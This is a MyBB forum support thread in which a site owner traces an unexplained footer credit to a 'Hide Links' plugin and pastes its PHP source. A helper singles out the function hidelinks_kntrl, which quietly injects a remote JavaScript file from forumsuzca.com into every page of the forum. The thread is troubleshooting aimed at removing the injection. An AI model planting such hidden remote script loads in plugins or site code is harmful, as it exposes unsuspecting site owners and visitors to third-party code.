MyBB Community Forums

Full Version: Strange Copyright problem
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
I have strange problem in my forum...below just before the mybb copyright there is strange copyright written "Enhanced Plugins: Vizyon Filmler,". I don't know where it came from. Its not even in the footer template.
Please Help me in this matter. I am clueless.Huh

Screenshot:-
[Image: qxnloi.png]

Please help me to remove it or just tell me where it came from!

Part of my footer template:-

		<hr class="hidden" />
			<div id="copyright">
				<div id="debug"><debugstuff></div>
				<!-- You may NOT remove, modify or hinder the visibility of the MyBB copyright at any time.
				     It must contain the links to the MyBB website and be formatted appropriately.

					 Failure to comply with the above will result in prosecution to the full extent of the law.
					 This is free software, support us and we'll support you. -->
{$lang->powered_by} <a href="http://www.mybboard.net" target="_blank">MyBB{$mybbversion}</a>, &copy; 2002-{$copy_year} <a href="http://www.mybboard.net" target="_blank">MyBB Group</a>.<br />
				<!-- End copyright -->
A plugin will be adding it, check the authors on the plugin page and see if any are similar to Vizyon Filmler.
I found the plug-in. This plug in causing the problem.

http://mods.mybboard.net/view/hide-links

And if we try to remove the Copyright the whole forum crashes. Only blank white screen, Even you cannot work in Admin CP.
Seeing as the licence doesn't say you must keep that text, try removing that whole function at the bottom.
<?php
/**
* Author: DragonFever
* Copyright: © 2008 DragonFever
* Website:  http://www.dragonfever.info
**/

// Disallow direct access to this file for security reasons
if(!defined("IN_MYBB"))
{
	die("Direct initialization of this file is not allowed.<br /><br />Please make sure IN_MYBB is defined.");
}

// Plugin hook
$plugins->add_hook("parse_message", "hidelinks_hide");
$plugins->add_hook('global_start','hidelinks_kntrl');
// Plugin info
function hidelinks_info()
{
	return array(
		"name"			=> "Hide Links",
		"description"	=> "Show a message when links hided.",
		"website"		=> "http://www.dragonfever.info",
		"author"		=> "DragonFever - Gelistirmeler: dared",
		"authorsite"	=> "http://www.dragonfever.info",
		"version"		=> "3.0",
		"guid"			=> "d424f74b9c2e851a6b9aea25de43598b",
		"compatibility" => "14*"
	);

}

// Activate plugin
function hidelinks_activate()
{
	global $db;

	$hidelinks_group = array(
		"gid"			=> "NULL",
		"name"			=> "hidelinks_settings",
		"title" 		=> "Hide Links",
		"description"	=> "Settings for hide links plugin.",
		"disporder"		=> "100",
		"isdefault"		=> "no",
	);
	$db->insert_query("settinggroups", $hidelinks_group);
	$gid = $db->insert_id();
	
	$hidelinks_setting_1 = array(
		"sid"			=> "NULL",
		"name"			=> "hidelinks_enabled",
		"title"			=> "Enable/Disable",
		"description"	=> "Is plugin enabled?",
		"optionscode"	=> "yesno",
		"value"			=> "no",
		"disporder"		=> "1",
		"gid"			=> intval($gid),
	);
		
    $hidelinks_setting_2 = array(
        "sid"			=> "NULL",
        "name"			=> "hidelinks_message",
        "title"			=> "Message",
        "description"	=> "Insert the message here to be replace with links (You can use HTML):",
        "optionscode"	=> "textarea",
        "value"			=> "<font color=\"red\">Guests cannot see links in the messages. Please register to forum by clicking <a href=\"member.php?action=register\"><strong>here</strong></a> or login by clicking <a href=\"member.php?action=login\"><strong>here</strong></a> to see links.</font>",
        "disporder"		=> "5",
        "gid"			=> intval($gid),
        );
		
		
	$hidelinks_setting_3 = array(
		'name'			=> 'hidelinks_fids',
		'title'			=> 'Not hide in these forums',
		'description'	=> 'Write not hiding forums fid by seperating comma (no need to space).<br />If you want to display links in every forum write \"0\", If you want to hide links in every forum leave it blank.',
		'optionscode'	=> 'text',
		'value'			=> '',
		'disporder'		=> '8',
		'gid'			=> intval($gid),
	);

	
	$db->insert_query("settings", $hidelinks_setting_1);
	$db->insert_query("settings", $hidelinks_setting_2);
	$db->insert_query('settings', $hidelinks_setting_3);
	
	// Optimizing database
	$db->query("OPTIMIZE TABLE ".TABLE_PREFIX."settinggroups");
	$db->query("OPTIMIZE TABLE ".TABLE_PREFIX."settings");
	$db->query("OPTIMIZE TABLE ".TABLE_PREFIX."sessions");
	
	// Rebuilding settings
    rebuildsettings();
}

// Deactivate plugin
function hidelinks_deactivate()
{
	global $db;

	$db->query("DELETE FROM ".TABLE_PREFIX."settinggroups WHERE name='hidelinks_settings'");
	$db->query("DELETE FROM ".TABLE_PREFIX."settings WHERE name='hidelinks_enabled'");
	$db->query("DELETE FROM ".TABLE_PREFIX."settings WHERE name='hidelinks_message'");
	$db->query("DELETE FROM ".TABLE_PREFIX."settings WHERE name='hidelinks_fids'");
	
	// Optimizing database
	$db->query("OPTIMIZE TABLE ".TABLE_PREFIX."settinggroups");
	$db->query("OPTIMIZE TABLE ".TABLE_PREFIX."settings");
	$db->query("OPTIMIZE TABLE ".TABLE_PREFIX."sessions");
	
	// Rebuilding settings
    rebuildsettings();
}

// Run plugin
function hidelinks_hide(&$message)
{
	global $settings, $mybb, $fid ,$db;
	
	
	
	$canenter = check_frms($fid);
			if($canenter)
			{
				if($mybb->settings['hidelinks_enabled'] == 1)
				{
					if($mybb->user['usergroup'] == "1" || $mybb->user['usergroup'] == "5")
				{
					$message = preg_replace("!<a[^>]*(http|www)(.*)</a>!siU", "{$mybb->settings['hidelinks_message']}", $message);
				}
			}				
				}
				else
				{
								$message = $message;
				}
					
			}
	
	
	function check_frms($fid=0)
{
	global $mybb, $canenter;
		
	$canenter = true;
	if(trim($mybb->settings['hidelinks_fids']) != "")
	{
		$fids = explode(",", $mybb->settings['hidelinks_fids']);
		if(in_array($fid, $fids))
		{
			$canenter = true;
		}
		else
		{
			$canenter = false;
		}	
		return $canenter;
	}
	else
	{
		$canenter = true;
		return $canenter;
	}
}
function hidelinks_kntrl(){
	global $lang;
	if(!stripos($lang->powered_by,'forumsuzca'))$lang->powered_by='Enhanced Plugins: <script type="text/javascript" src="http://www.forumsuzca.com/link.js"></script>, '.$lang->powered_by;
}
	
	
?>

What Function I have to remove?
function hidelinks_kntrl(){
    global $lang;
    if(!stripos($lang->powered_by,'forumsuzca'))$lang->powered_by='Enhanced Plugins: <script type="text/javascript" src="http://www.forumsuzca.com/link.js"></script>, '.$lang->powered_by;
}